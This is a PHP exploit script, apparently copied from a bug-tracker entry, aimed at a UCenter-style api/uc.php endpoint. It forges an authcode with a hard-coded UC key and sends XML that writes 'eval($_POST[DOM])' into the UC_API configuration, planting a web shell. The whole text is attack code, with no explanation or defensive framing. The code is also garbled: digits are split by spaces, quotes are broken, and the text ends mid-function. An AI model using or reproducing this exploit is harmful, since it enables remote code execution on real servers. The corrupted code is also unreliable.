From:http://www. tick. org/bugs/tick-2 0 1 4-0 4 8 1 3 7
<? php
// Code copyright belongs to the original author all!
$timestamp = time()+1 0*3 6 0 0;
$host="127.0.0.1";
$uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5waofq6j285ca33i151e551g0l9f2l3dd";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<? xml version="1.0" encoding="ISO-8 8 5 9-1"?& gt;
<root>
<item id="UC_API">http://x\');eval($_POST[DOM]);//</item>
</root>';
$cmd2='<? xml version="1.0" encoding="ISO-8 8 5 9-1"?& gt;
<root>
<item id="UC_API">http://x</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc. php? code=".$ code." HTTP/1.1\r\n";
$message .= "Accept: /\r\n";
$message .= "Referer: ".$ host."\ r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$ host."\ r\n";
$message .= "Content-Length: ". strlen($cmd)."\ r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 8 0);
fputs($fp, $message);
$resp = ";
while ($fp && ! feof($fp))
$resp .= fread($fp, 1 0 2 4);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = ", $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 1 6));
$keyb = md5(substr($key, 1 6, 1 6));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ";
$cryptkey = $keya. md5($keya.$ keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0). substr(md5($string.$ keyb), 0, 1 6).$ string;
$string_length = strlen($string);
$result = ";
$box = range(0, 2 5 5);
$rndkey = array();
for($i = 0; $i <= 2 5 5; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 2 5 6; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 2 5 6;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 2 5 6;
$j = ($j + $box[$a]) % 2 5 6;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 2 5 6]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 1 0) == 0 || substr($result, 0, 1 0) - time() > 0) && substr($result, 1 0, 1 6) == substr(md5(substr($result, 2 6).$ keyb), 0, 1 6)) {
return substr($result, 2 6);